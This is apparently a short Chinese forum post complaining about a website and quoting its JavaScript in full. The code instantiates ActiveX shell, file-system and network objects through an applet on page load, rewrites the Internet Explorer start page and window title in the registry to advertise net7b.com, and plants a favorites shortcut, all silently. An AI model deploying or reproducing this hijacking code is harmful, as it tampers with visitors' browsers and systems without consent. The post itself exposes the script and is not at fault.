零点的网页真黑！！

能看懂这些代码吧？
document.write("")
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
//if (document.cookie.indexOf("ChgLive") == -1)
//{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "about:blank");
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title", "==网络奇兵== http://www.net7b.com/");
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "==网络奇兵== http://www.net7b.com/");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "Favorites";
if(!FSO.FolderExists(loc))
    {
    loc = FSO.GetDriveName(WF) + "Documents and Settings" + Net.UserName + "Favorites";
    if(!FSO.FolderExists(loc))
    {
    return;
    }
    }
AddFavLnk(loc, "◇网络奇兵◇", "http://www.net7b.com/");
//}
}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();